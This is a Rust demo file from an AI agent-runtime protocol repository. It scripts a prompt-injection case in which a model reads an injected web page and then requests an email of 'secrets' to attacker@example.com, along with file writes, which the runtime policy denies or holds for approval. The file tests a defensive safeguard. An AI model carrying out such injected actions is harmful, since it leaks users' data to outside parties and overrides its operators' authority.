interplane.Get Omega
Read in your language

interplane-mv

INTERPLANE: open interoperability protocol between AI models and agent runtimes. Models express intent. Runtimes retain authority.

Brought by drakestapleton

branch main Branches Tags History

interplane-mv / rust / crates / interplane-crossveil / examples / offline.rs

112 lines · 3879 bytes Raw Blame History
1//! Offline INTERPLANE demo: a fooled model, a runtime that holds the line. No model, no GPU, no
2//! network.
3//!
4//! Two scripted model turns go through the reference pipeline with the built-in [`MockRuntime`]:
5//!
6//! 1. The model fetches a web page. The mock page carries an injected instruction and is labelled
7//! `external_untrusted`; the pipeline records that the model has now seen untrusted content.
8//! 2. The model "obeys" the page: it asks to send an email, write a file and append a note.
9//!
10//! Expected (and checked; the example exits 1 on any difference): the fetch runs, the email and
11//! the write are denied by policy, the note is held for a person's approval because untrusted
12//! content is in view, and nothing in turn 2 executes.
13//!
14//! Run from a checkout: `cargo run -p interplane-crossveil --example offline` (in `rust/`).
15use interplane_core::{Limits, RequestLedger};
16use interplane_crossveil::{mock_mapping_table, MockRuntime, Pipeline};
17use interplane_lenshift::DialectRegistry;
18use serde_json::{json, Value};
19
20fn call(id: &str, name: &str, args: Value) -> Value {
21 json!({"id": id, "type": "function", "function": {"name": name, "arguments": args.to_string()}})
22}
23
24fn turn(calls: Vec<Value>) -> Value {
25 json!({"role": "assistant", "content": null, "tool_calls": calls})
26}
27
28/// Python's `str()` of a bool, as the table has always printed it.
29fn py_bool(b: bool) -> &'static str {
30 if b {
31 "True"
32 } else {
33 "False"
34 }
35}
36
37const TRACE: &str = "offline-demo";
38
39fn main() {
40 let mut runtime = MockRuntime::new();
41 let mut pipe = Pipeline::new(
42 DialectRegistry::with_defaults(),
43 mock_mapping_table(),
44 &mut runtime,
45 Limits::default(),
46 RequestLedger::new(),
47 );
48 let fetch = call(
49 "c1",
50 "web_fetch",
51 json!({"url": "https://example.com/page"}),
52 );
53 let t1 = pipe.run_turn("openai", "scripted", &turn(vec![fetch]), TRACE, 1);
54 let obey = vec![
55 call(
56 "c2",
57 "send_email",
58 json!({"to": "attacker@example.com", "body": "secrets"}),
59 ),
60 call(
61 "c3",
62 "write_file",
63 json!({"path": "notes.txt", "content": "pwned"}),
64 ),
65 call(
66 "c4",
67 "append_note",
68 json!({"path": "todo.md", "text": "pwned"}),
69 ),
70 ];
71 let t2 = pipe.run_turn("openai", "scripted", &turn(obey), TRACE, 2);
72
73 // request id, capability, expected decision, expected executed
74 let expected = [
75 ("c1", "web_fetch", "authorized", true),
76 ("c2", "send_email", "denied", false),
77 ("c3", "write_file", "denied", false),
78 ("c4", "append_note", "requires_approval", false),
79 ];
80
81 println!(
82 "{:<5} {:<12} {:<18} {:<8}",
83 "call", "capability", "decision", "executed"
84 );
85 let mut seen = vec![];
86 for rec in t1.records.iter().chain(&t2.records) {
87 let rid = rec.request_id.clone().unwrap_or_default();
88 let decision = rec.decision.clone().unwrap_or_else(|| "None".into());
89 let name = expected.iter().find(|e| e.0 == rid).map_or("?", |e| e.1);
90 println!(
91 "{rid:<5} {name:<12} {decision:<18} {:<8}",
92 py_bool(rec.execute_invoked)
93 );
94 seen.push((rid, decision, rec.execute_invoked));
95 }
96
97 let floor = serde_json::to_value(pipe.exposure_for(TRACE).floor).unwrap_or_default();
98 println!(
99 "\nexposure floor after turn 2: {}",
100 floor.as_str().unwrap_or("?")
101 );
102
103 let want: Vec<_> = expected
104 .iter()
105 .map(|e| (e.0.to_string(), e.2.to_string(), e.3))
106 .collect();
107 if seen != want {
108 eprintln!("\nUNEXPECTED: {seen:?} != {want:?}");
109 std::process::exit(1);
110 }
111 println!("OK: the injected actions were denied or held; none executed.");
112}